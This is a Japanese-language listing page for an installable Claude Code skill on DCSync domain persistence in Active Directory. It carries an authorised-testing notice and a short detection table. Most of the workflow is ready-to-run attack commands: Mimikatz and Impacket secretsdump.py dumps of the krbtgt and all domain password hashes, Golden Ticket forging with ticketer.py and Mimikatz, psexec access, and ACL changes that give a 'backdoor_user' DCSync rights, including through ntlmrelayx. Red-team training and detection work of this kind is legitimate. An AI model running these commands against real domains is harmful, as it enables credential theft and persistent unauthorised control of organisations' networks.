mcpField
C
conducting-domain-persistence-with-dcsync

conducting-domain-persistence-with-dcsync

github.com/mukul975セキュリティ35.2k134 回インストール8 週間前に更新
リポジトリ

conducting-domain-persistence-with-dcsync について

Active Directory の DCSync による永続化リスクを評価するセキュリティテスト用スキルです。権限の確認、認証情報の抽出、Golden Ticket の検証、検知証拠の整理を支援します。

主な機能

  1. 01レプリケーション権限の列挙
  2. 02ドメインパスワードハッシュの抽出
  3. 03Golden Ticket の作成と検証
  4. 04DCSync 権限による永続化のテスト
  5. 05検知指標の確認

活用シーン

  1. 01ラボ環境でのレプリケーション権限監査
  2. 02許可されたテストでの認証情報漏えい評価
  3. 03Golden Ticket 検知制御の検証
  4. 04永続化リスクと対策の記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-domain-persistence-with-dcsync

インストール後、Claude Code で/conducting-domain-persistence-with-dcsyncを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

DCSync によるドメイン永続化の実施

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的でのみ使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

概要

DCSync は、Microsoft Directory Replication Service Remote Protocol(MS-DRSR)を悪用してドメインコントローラーになりすまし、対象の DC にパスワードデータを要求する攻撃手法です。この攻撃は、DS-Replication-Get-Changes と DS-Replication-Get-Changes-All の拡張権限を利用して、Benjamin Delpy(Mimikatz の作者)と Vincent Le Toux によって紹介されました。これらの権限を持つプリンシパル(ユーザーまたはコンピューター)は、ドメイン内のあらゆるアカウント(KRBTGT アカウントを含む)のパスワードハッシュを複製できます。KRBTGT ハッシュを入手すると、攻撃者は Golden Ticket を偽造し、ドメインへの永続的なアクセスを確保できます。DCSync は MITRE ATT&CK T1003.006 に分類され、APT28(Fancy Bear)、APT29(Cozy Bear)、FIN6 などの APT グループが使用する重要な侵害後の手法です。

使用する場面

  • DCSync を使用したドメイン永続化を含むセキュリティ評価を実施する場合
  • 関連するセキュリティイベントのインシデント対応手順に従う場合
  • 定期的なセキュリティテストや監査を実施する場合
  • 実践的なテストを通じてセキュリティ制御を検証する場合

前提条件

  • レッドチームの概念とツールに関する知識
  • 安全に実行できるテスト環境またはラボ環境へのアクセス
  • 必要な依存関係をインストールした Python 3.8 以降
  • すべてのテスト活動に対する適切な許可

目標

  • Active Directory で DCSync(複製)権限を持つアカウントを特定する
  • Mimikatz または Impacket の secretsdump.py を使用して DCSync を実行する
  • Golden Ticket の作成に使用する KRBTGT アカウントのハッシュを抽出する
  • 認証情報を分析するために、ドメイン内のすべてのユーザーのパスワードハッシュをダンプする
  • ドメインへの永続的なアクセスのために Golden Ticket を偽造する
  • 代替の永続化手段として、管理下のアカウントに DCSync 権限を付与する
  • 攻撃チェーンと永続化の仕組みを文書化する

MITRE ATT&CK マッピング

  • T1003.006 - OS 認証情報のダンプ:DCSync
  • T1558.001 - Kerberos チケットの窃取または偽造:Golden Ticket
  • T1222.001 - ファイルおよびディレクトリのアクセス許可の変更:Windows
  • T1098 - アカウント操作
  • T1078.002 - 有効なアカウント:ドメインアカウント

ワークフロー

フェーズ 1:DCSync 権限を持つアカウントの特定
  1. 複製権限を持つプリンシパルを列挙します:
    # Using PowerView
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                     ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
      Select-Object SecurityIdentifier, ObjectAceType
    
    # Using BloodHound Cypher query
    MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
    RETURN u.name, d.name
    
  2. Impacket の FindDelegation またはカスタム LDAP クエリを使用します:
    # Check with Impacket
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. 既定で DCSync 権限を持つアカウント:
    • Domain Admins
    • Enterprise Admins
    • Domain Controllers グループ
    • ドメインコントローラー上の SYSTEM
フェーズ 2:DCSync による認証情報の抽出
  1. Mimikatz を使用します(Windows):
    # Dump specific account (KRBTGT for Golden Ticket)
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
    
    # Dump Domain Admin
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
    
    # Dump all domain accounts
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
    
  2. Impacket の secretsdump.py を使用します(Linux):
    # Dump all credentials
    secretsdump.py domain.local/admin:'Password123'@10.10.10.1
    
    # Dump specific user
    secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
    
    # Dump only NTLM hashes (no Kerberos keys)
    secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
    
    # Using Kerberos authentication
    export KRB5CCNAME=admin.ccache
    secretsdump.py -k -no-pass domain.local/[email protected]
    
フェーズ 3:Golden Ticket の作成
  1. 抽出した KRBTGT ハッシュを使って Mimikatz を使用します:
    # Create Golden Ticket
    mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> /ptt"
    
    # Create with specific group memberships
    mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> \
      /groups:512,513,518,519,520 /ptt"
    
  2. Impacket の ticketer.py を使用します(Linux):
    # Create Golden Ticket
    ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
      -domain domain.local administrator
    
    # Use the ticket
    export KRB5CCNAME=administrator.ccache
    psexec.py -k -no-pass domain.local/[email protected]
    
フェーズ 4:DCSync 権限による永続化
  1. 永続化のために、管理下のアカウントに DCSync 権限を付与します:
    # Using PowerView - Add DS-Replication-Get-Changes-All rights
    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
      -PrincipalIdentity backdoor_user -Rights DCSync
    
    # Verify rights were added
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
    
  2. 自動的な DCSync 権限の昇格に ntlmrelayx.py を使用します:
    # Relay authentication to add DCSync rights
    ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
    

ツールとリソース

ツール用途プラットフォーム
MimikatzDCSync による抽出、Golden Ticket の作成Windows
secretsdump.pyリモート DCSync(Impacket)Linux(Python)
ticketer.pyGolden Ticket の作成(Impacket)Linux(Python)
PowerViewACL の列挙と変更Windows(PowerShell)
RubeusKerberos チケットの操作Windows(.NET)
ntlmrelayx.pyリレーによる DCSync 権限の昇格Linux(Python)

抽出すべき重要なハッシュ

アカウント目的持続性の価値
krbtgtGolden Ticket の作成ドメインへの無期限アクセス
Administrator直接的な DA アクセス即時の特権アクセス
サービスアカウントラテラルムーブメントドメイン全体でのサービスアクセス
コンピューターアカウントSilver Ticket の作成サービスレベルのなりすまし

検出シグネチャ

指標検出方法
非 DC ソースからの DrsGetNCChanges RPC 呼び出し通常とは異なる IP からの DRSUAPI トラフィックをネットワーク監視
Replicating Directory Changes GUID を含むイベント 4662DC の Windows セキュリティログ(1131f6aa-/1131f6ad- GUID)
Golden Ticket の異常を伴うイベント 4624不可能な SID または存在しないユーザーを含むログオンイベント
ドメインルートオブジェクトの ACL 変更イベント 5136(ディレクトリサービスの変更)
レプリケーショントラフィック量の急増ネットワークベースラインからの逸脱を監視

検証基準

  • DCSync 権限を持つアカウントを列挙済み
  • DCSync を使用して KRBTGT ハッシュを抽出済み
  • すべてのドメイン資格情報を正常にダンプ済み
  • Golden Ticket を偽造し、DA アクセスを検証済み
  • DCSync 権限の永続化メカニズムを確立済み(スコープ内の場合)
  • Golden Ticket を使用してドメインコントローラーへのアクセスを検証済み
  • ハッシュ値とタイムスタンプを含む証拠を文書化済み
  • 修復の推奨事項を提示済み(KRBTGT の二重リセット、ACL 監査)

コメント